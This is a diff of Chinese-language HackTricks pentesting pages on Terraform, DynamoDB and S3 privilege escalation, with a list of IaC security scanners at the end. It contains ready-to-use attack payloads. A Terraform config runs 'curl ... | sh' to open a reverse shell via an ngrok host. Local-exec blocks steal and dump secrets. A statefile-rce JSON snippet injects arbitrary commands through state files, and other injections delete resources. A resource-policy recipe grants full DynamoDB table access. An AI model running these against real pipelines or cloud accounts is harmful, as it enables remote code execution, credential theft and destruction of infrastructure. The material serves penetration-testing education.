diff --git a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md index ba141acbc..f97cd9176 100644 --- a/src/pentesting-ci-cd/terraform-security.md +++ b/src/pentesting-ci-cd/terraform-security.md @@ -1,4 +1,4 @@ -# Terraform 安全 +# Terraform Security {{#include ../banners/hacktricks-training.md}} @@ -6,21 +6,21 @@ [来自文档:](https://developer.hashicorp.com/terraform/intro) -HashiCorp Terraform 是一个 **基础设施即代码工具**,允许您在可读的配置文件中定义 **云和本地资源**,这些文件可以版本控制、重用和共享。然后,您可以使用一致的工作流程来配置和管理整个生命周期中的所有基础设施。Terraform 可以管理低级组件,如计算、存储和网络资源,以及高级组件,如 DNS 条目和 SaaS 功能。 +HashiCorp Terraform 是一个 **基础设施即代码工具**,允许您在可读的配置文件中定义 **云和本地资源**,这些文件可以版本控制、重用和共享。然后,您可以使用一致的工作流程来管理整个生命周期中的所有基础设施。Terraform 可以管理低级组件,如计算、存储和网络资源,以及高级组件,如 DNS 条目和 SaaS 功能。 #### Terraform 如何工作? -Terraform 通过其应用程序编程接口 (APIs) 创建和管理云平台和其他服务上的资源。提供程序使 Terraform 能够与几乎任何具有可访问 API 的平台或服务协同工作。 +Terraform 通过其应用程序编程接口 (APIs) 创建和管理云平台和其他服务上的资源。提供程序使 Terraform 能够与几乎任何具有可访问 API 的平台或服务进行交互。 ![](<../images/image (177).png>) -HashiCorp 和 Terraform 社区已经编写了 **超过 1700 个提供程序** 来管理成千上万种不同类型的资源和服务,这个数字还在不断增长。您可以在 [Terraform 注册表](https://registry.terraform.io/) 上找到所有公开可用的提供程序,包括 Amazon Web Services (AWS)、Azure、Google Cloud Platform (GCP)、Kubernetes、Helm、GitHub、Splunk、DataDog 等等。 +HashiCorp 和 Terraform 社区已经编写了 **超过 1700 个提供程序** 来管理成千上万种不同类型的资源和服务,这个数字还在不断增长。您可以在 [Terraform Registry](https://registry.terraform.io/) 上找到所有公开可用的提供程序,包括 Amazon Web Services (AWS)、Azure、Google Cloud Platform (GCP)、Kubernetes、Helm、GitHub、Splunk、DataDog 等等。 核心 Terraform 工作流程由三个阶段组成: -- **写入:** 您定义资源,这些资源可能跨多个云提供商和服务。例如,您可能会创建一个配置,以在具有安全组和负载均衡器的虚拟私有云 (VPC) 网络中的虚拟机上部署应用程序。 +- **编写:** 您定义资源,这些资源可能跨多个云提供商和服务。例如,您可能会创建一个配置,以在具有安全组和负载均衡器的虚拟私有云 (VPC) 网络中的虚拟机上部署应用程序。 - **计划:** Terraform 创建一个执行计划,描述它将根据现有基础设施和您的配置创建、更新或销毁的基础设施。 -- **应用:** 经批准后,Terraform 按照正确的顺序执行提议的操作,尊重任何资源依赖关系。例如,如果您更新 VPC 的属性并更改该 VPC 中虚拟机的数量,Terraform 将在扩展虚拟机之前重新创建 VPC。 +- **应用:** 在批准后,Terraform 按照正确的顺序执行提议的操作,尊重任何资源依赖关系。例如,如果您更新 VPC 的属性并更改该 VPC 中虚拟机的数量,Terraform 将在扩展虚拟机之前重新创建 VPC。 ![](<../images/image (215).png>) @@ -30,11 +30,11 @@ HashiCorp 和 Terraform 社区已经编写了 **超过 1700 个提供程序** 这里有一个 [指南](https://learn.hashicorp.com/tutorials/terraform/install-cli),这里有 [下载 terraform 的最佳方式](https://www.terraform.io/downloads)。 -## Terraform 中的 RCE +## Terraform 中的 RCE:配置文件中毒 -Terraform **没有暴露网页或网络服务的平台**,因此,妥协 terraform 的唯一方法是 **能够添加/修改 terraform 配置文件**。 +Terraform **没有暴露网页或网络服务的平台**,因此,妥协 terraform 的唯一方法是 **能够添加/修改 terraform 配置文件** 或 **能够修改 terraform 状态文件**(见下章)。 -然而,terraform 是一个 **非常敏感的组件**,因为它将拥有 **特权访问** 不同位置,以便正常工作。 +然而,terraform 是一个 **非常敏感的组件**,因为它将对不同位置具有 **特权访问**,以便能够正常工作。 攻击者能够妥协运行 terraform 的系统的主要方式是 **妥协存储 terraform 配置的仓库**,因为在某些时候它们将被 **解释**。 @@ -44,7 +44,7 @@ Terraform **没有暴露网页或网络服务的平台**,因此,妥协 terra atlantis-security.md {{#endref}} -如果您能够妥协一个 terraform 文件,有不同的方法可以在某人执行 `terraform plan` 或 `terraform apply` 时执行 RCE。 +如果您能够妥协一个 terraform 文件,则可以在某人执行 `terraform plan` 或 `terraform apply` 时以不同方式执行 RCE。 ### Terraform plan @@ -62,7 +62,7 @@ program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh" ``` **使用自定义提供程序** -攻击者可以将一个 [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) 发送到 [Terraform Registry](https://registry.terraform.io/),然后将其添加到功能分支中的 Terraform 代码中 ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)): +攻击者可以将一个 [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) 发送到 [Terraform Registry](https://registry.terraform.io/),然后将其添加到功能分支中的 Terraform 代码中([此处示例](https://alex.kaskaso.li/post/terraform-plan-rce)): ```javascript terraform { required_providers { @@ -81,9 +81,9 @@ provider "evil" {} **使用外部引用** -上述两种选项都很有用,但不够隐蔽(第二种比第一种更隐蔽,但更复杂)。您可以通过遵循以下建议以**更隐蔽的方式**执行此攻击: +上述两种选项都很有用,但不够隐蔽(第二种比第一种更隐蔽,但更复杂)。您可以通过遵循以下建议以 **更隐蔽的方式** 执行此攻击: -- 不要直接将反向 shell 添加到 terraform 文件中,您可以**加载一个包含反向 shell 的外部资源**: +- 不要直接将反向 shell 添加到 terraform 文件中,您可以 **加载一个包含反向 shell 的外部资源**: ```javascript module "not_rev_shell" { source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules" @@ -91,12 +91,12 @@ source = "git@github.com:carlospolop/terraform_external_module_rev_shell//module ``` 您可以在 [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) 找到 rev shell 代码。 -- 在外部资源中,使用 **ref** 功能来隐藏 **repo 中分支里的 terraform rev shell 代码**,类似于:`git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` +- 在外部资源中,使用 **ref** 功能来隐藏 **repo 中某个分支的 terraform rev shell 代码**,类似于:`git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` ### Terraform Apply 将执行 Terraform apply 以应用所有更改,您也可以利用它通过注入 **一个恶意的 Terraform 文件与** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\ -您只需确保一些有效载荷像以下内容结束于 `main.tf` 文件: +您只需确保一些有效载荷,如以下内容,结束于 `main.tf` 文件: ```json // Payload 1 to just steal a secret resource "null_resource" "secret_stealer" { @@ -116,7 +116,7 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" ## Secrets Dumps -您可以通过运行 `terraform apply` 来**转储 terraform 使用的秘密值**,方法是向 terraform 文件中添加类似的内容: +您可以通过运行 `terraform apply` 来**转储 terraform 使用的秘密值**,方法是向 terraform 文件中添加如下内容: ```json output "dotoken" { value = nonsensitive(var.do_token) @@ -124,13 +124,41 @@ value = nonsensitive(var.do_token) ``` ## 滥用 Terraform 状态文件 -如果您对 terraform 状态文件具有写入权限但无法更改 terraform 代码,[**这项研究**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) 提供了一些有趣的选项来利用该文件: +如果您对 terraform 状态文件具有写入权限但无法更改 terraform 代码,[**这项研究**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) 提供了一些有趣的选项来利用该文件。即使您对配置文件具有写入权限,使用状态文件的向量通常更为隐蔽,因为您不会在 `git` 历史中留下痕迹。 + +### Terraform 中的 RCE:配置文件注入 + +可以[创建自定义提供程序](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider),并仅将 terraform 状态文件中的一个提供程序替换为恶意提供程序,或添加一个引用恶意提供程序的虚假资源。 + +提供程序[statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest)基于该研究并将这一原理武器化。您可以添加一个虚假资源,并在属性 `command` 中声明您想要运行的任意 bash 命令。当触发 `terraform` 运行时,这将在 `terraform plan` 和 `terraform apply` 步骤中被读取和执行。在 `terraform apply` 步骤中,`terraform` 会在执行您的命令后从状态文件中删除虚假资源,进行自我清理。更多信息和完整演示可以在[托管此提供程序源代码的 GitHub 仓库](https://github.com/offensive-actions/terraform-provider-statefile-rce)中找到。 + +要直接使用它,只需在 `resources` 数组的任何位置包含以下内容,并自定义 `name` 和 `command` 属性: +```json +{ +"mode": "managed", +"type": "rce", +"name": "", +"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]", +"instances": [ +{ +"schema_version": 0, +"attributes": { +"command": "", +"id": "rce" +}, +"sensitive_attributes": [], +"private": "bnVsbA==" +} +] +} +``` +然后,一旦执行 `terraform`,你的代码将会运行。 ### 删除资源 有两种方法可以销毁资源: -1. **在状态文件中插入一个随机名称的资源,指向要销毁的真实资源** +1. **在状态文件中插入一个指向要销毁的真实资源的随机名称的资源** 因为 terraform 会看到该资源不应该存在,所以它会销毁它(根据指示的真实资源 ID)。来自上一页的示例: ```json @@ -152,24 +180,9 @@ value = nonsensitive(var.do_token) 对于 EC2 实例,修改实例的类型足以使 terraform 删除并重新创建它。 -### RCE - -还可以 [创建自定义提供程序](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider),并仅替换 terraform 状态文件中的一个提供程序为恶意提供程序,或添加一个带有恶意提供程序的空资源。原始研究的示例: -```json -"resources": [ -{ -"mode": "managed", -"type": "scaffolding_example", -"name": "example", -"provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]", -"instances": [ - -] -}, -``` ### 替换黑名单提供者 -如果您遇到 `hashicorp/external` 被列入黑名单的情况,可以通过以下方式重新实现 `external` 提供者。注意:我们使用的是由 https://registry.terraform.io/providers/nazarewk/external/latest 发布的 external 提供者的分支。您也可以发布自己的分支或重新实现。 +如果您遇到 `hashicorp/external` 被列入黑名单的情况,可以通过以下方式重新实现 `external` 提供者。注意:我们使用由 https://registry.terraform.io/providers/nazarewk/external/latest 发布的 external 提供者的分支。您也可以发布自己的分支或重新实现。 ```terraform terraform { required_providers { @@ -190,7 +203,7 @@ program = ["sh", "-c", "whoami"] ### [**Snyk 基础设施即代码 (IaC)**](https://snyk.io/product/infrastructure-as-code-security/) -Snyk 提供全面的基础设施即代码 (IaC) 扫描解决方案,能够检测 Terraform、CloudFormation、Kubernetes 和其他 IaC 格式中的漏洞和错误配置。 +Snyk 提供全面的基础设施即代码 (IaC) 扫描解决方案,能够检测 Terraform、CloudFormation、Kubernetes 和其他 IaC 格式中的漏洞和配置错误。 - **特点:** - 实时扫描安全漏洞和合规性问题。 @@ -208,7 +221,7 @@ snyk iac test /path/to/terraform/code **Checkov** 是一个用于基础设施即代码 (IaC) 的静态代码分析工具,同时也是一个用于图像和开源包的软件组成分析 (SCA) 工具。 -它扫描使用 [Terraform](https://terraform.io/) 、[Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md) 、[Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md) 、[AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md) 、[Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md) 、[Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md) 、[Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md) 、[Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md) 、[Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md) 、[Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md) 、[OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md) 、[ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) 或 [OpenTofu](https://opentofu.org/) 提供的云基础设施,并使用基于图的扫描检测安全和合规性错误配置。 +它扫描使用 [Terraform](https://terraform.io/) 、[Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md) 、[Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md) 、[AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md) 、[Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md) 、[Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md) 、[Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md) 、[Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md) 、[Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md) 、[Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md) 、[OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md) 、[ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) 或 [OpenTofu](https://opentofu.org/) 提供的云基础设施,并使用基于图形的扫描检测安全和合规性错误配置。 它执行 [软件组成分析 (SCA) 扫描](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md),这是对开源包和图像进行的扫描,以查找常见漏洞和暴露 (CVE)。 ```bash @@ -247,14 +260,14 @@ terraform-compliance -f /path/to/folder - 🙅 应用(并美化)用户定义的 Rego 策略 - 📃 支持多种输出格式:可爱(默认)、JSON、SARIF、CSV、CheckStyle、JUnit、文本、Gif。 - 🛠️ 可配置(通过 CLI 标志和/或配置文件) -- ⚡ 非常快速,能够快速扫描巨大的代码库 +- ⚡ 非常快速,能够快速扫描大型代码库 ```bash brew install tfsec tfsec /path/to/folder ``` ### [KICKS](https://github.com/Checkmarx/kics) -使用 **KICS** 由 Checkmarx 提供的工具,在基础设施即代码的开发周期早期发现安全漏洞、合规性问题和基础设施配置错误。 +使用 **KICS** by Checkmarx 在基础设施即代码的开发周期早期发现安全漏洞、合规性问题和基础设施配置错误。 **KICS** 代表 **K**eeping **I**nfrastructure as **C**ode **S**ecure,它是开源的,是任何云原生项目的必备工具。 ```bash @@ -265,18 +278,19 @@ docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/" 来自[**文档**](https://github.com/tenable/terrascan):Terrascan是一个用于基础设施即代码的静态代码分析器。Terrascan允许您: - 无缝扫描基础设施即代码中的错误配置。 -- 监控已配置的云基础设施的配置更改,这些更改会引入姿态漂移,并能够恢复到安全姿态。 +- 监控已配置的云基础设施的配置更改,以防止姿态漂移,并能够恢复到安全姿态。 - 检测安全漏洞和合规性违规。 - 在配置云原生基础设施之前减轻风险。 -- 提供灵活性以在本地运行或与您的CI\CD集成。 +- 提供灵活性,可以本地运行或与您的CI\CD集成。 ```bash brew install terrascan ``` -## 参考文献 +## 参考 - [Atlantis Security](atlantis-security.md) - [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce) - [https://developer.hashicorp.com/terraform/intro](https://developer.hashicorp.com/terraform/intro) - [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) +- [https://github.com/offensive-actions/terraform-provider-statefile-rce](https://github.com/offensive-actions/terraform-provider-statefile-rce) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md index 652d4affb..f5e812e9d 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md @@ -10,14 +10,63 @@ ../aws-services/aws-dynamodb-enum.md {{#endref}} -### Post Exploitation +### `dynamodb:PutResourcePolicy`,可选的 `dynamodb:GetResourcePolicy` -据我所知,**仅凭一些AWS `dynamodb` 权限没有直接的方法来提升AWS中的权限**。您可以**从表中读取敏感**信息(可能包含AWS凭证)并**在表中写入信息**(可能触发其他漏洞,如lambda代码注入...),但所有这些选项在**DynamoDB Post Exploitation页面**中已经考虑过: +自2024年3月起,AWS为DynamoDB提供*基于资源的策略*([AWS News](https://aws.amazon.com/about-aws/whats-new/2024/03/amazon-dynamodb-resource-based-policies/))。 + +因此,如果您对一个表具有`dynamodb:PutResourcePolicy`,您可以轻松地授予自己或任何其他主体对该表的完全访问权限。 + +将`dynamodb:PutResourcePolicy`授予随机主体通常是意外发生的,如果管理员认为授予`dynamodb:Put*`只会允许主体将项目放入数据库中——或者如果他们在2024年3月之前授予了该权限集... + +理想情况下,您还应该拥有`dynamodb:GetResourcePolicy`,这样您就不会覆盖其他潜在的重要权限,而只是注入您所需的附加权限: +```bash +# get the current resource based policy (if it exists) and save it to a file +aws dynamodb get-resource-policy \ +--resource-arn \ +--query 'Policy' \ +--output text > policy.json +``` +如果您无法检索当前策略,请使用此策略,该策略授予您的主体对表的完全访问权限: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "FullAccessToDynamoDBTable", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::/" +}, +"Action": [ +"dynamodb:*" +], +"Resource": [ +"arn:aws:dynamodb:::table/" +] +} +] +} +``` +如果您需要自定义,这里是所有可能的DynamoDB操作的列表:[AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Operations.html)。这里是可以通过基于资源的策略允许的所有操作的列表 *以及这些操作中哪些可以跨账户使用(考虑数据外泄!)*:[AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/rbac-iam-actions.html) + +现在,准备好策略文档 `policy.json`,放置资源策略: +```bash +# put the new policy using the prepared policy file +# dynamodb does weirdly not allow a direct file upload +aws dynamodb put-resource-policy \ +--resource-arn \ +--policy "$(cat policy.json)" +``` +现在,您应该拥有所需的权限。 + +### 后期利用 + +据我所知,**仅通过拥有一些 AWS `dynamodb` 权限,没有其他直接的方法可以提升 AWS 中的权限**。您可以**从表中读取敏感**信息(可能包含 AWS 凭证)并**在表中写入信息**(这可能触发其他漏洞,例如 lambda 代码注入……),但所有这些选项已经在**DynamoDB 后期利用页面**中考虑过: {{#ref}} ../aws-post-exploitation/aws-dynamodb-post-exploitation.md {{#endref}} -### TODO: Read data abusing data Streams +### TODO: 通过数据流读取数据 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md index 3d1d231b2..d039ad644 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md @@ -43,16 +43,29 @@ Pacu模块 [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/ ### `s3:PutObject`, `s3:GetObject` -这些是**获取和上传对象到S3**的权限。AWS内部(以及外部)的多个服务使用S3存储来存储**配置文件**。\ +这些是**获取和上传对象到 S3**的权限。AWS 内部(以及外部)的多个服务使用 S3 存储来存储**配置文件**。\ 具有**读取访问权限**的攻击者可能会在其中找到**敏感信息**。\ 具有**写入访问权限**的攻击者可以**修改数据以滥用某些服务并尝试提升权限**。\ 以下是一些示例: -- 如果EC2实例将**用户数据存储在S3存储桶**中,攻击者可以修改它以**在EC2实例内执行任意代码**。 +- 如果 EC2 实例将**用户数据存储在 S3 存储桶**中,攻击者可以修改它以**在 EC2 实例内执行任意代码**。 + +### `s3:PutObject`, `s3:GetObject`(可选)在 terraform 状态文件上 + +很常见的是,[terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) 状态文件被保存到云提供商的 blob 存储中,例如 AWS S3。状态文件的文件后缀为 `.tfstate`,而存储桶名称通常也会透露它们包含 terraform 状态文件。通常,每个 AWS 账户都有一个这样的存储桶来存储显示账户状态的状态文件。\ +此外,通常在现实世界的账户中,几乎所有开发人员都有 `s3:*`,有时甚至商业用户也有 `s3:Put*`。 + +因此,如果您对这些文件具有列出的权限,则存在一个攻击向量,允许您以 `terraform` 的权限获得 RCE - 大多数情况下是 `AdministratorAccess`,使您成为云账户的管理员。此外,您可以利用该向量通过使 `terraform` 删除合法资源来进行拒绝服务攻击。 + +请按照 *Terraform Security* 页面中 *Abusing Terraform State Files* 部分的描述获取可直接使用的利用代码: + +{{#ref}} +terraform-security.md#abusing-terraform-state-files +{{#endref}} ### `s3:PutBucketPolicy` -攻击者需要**来自同一账户**,否则将触发错误`The specified method is not allowed`,具有此权限将能够授予自己对存储桶的更多权限,使他能够读取、写入、修改、删除和暴露存储桶。 +攻击者需要**来自同一账户**,否则将触发错误`The specified method is not allowed`,具有此权限将能够授予自己对存储桶的更多权限,使其能够读取、写入、修改、删除和暴露存储桶。 ```bash # Update Bucket policy aws s3api put-bucket-policy --policy file:///root/policy.json --bucket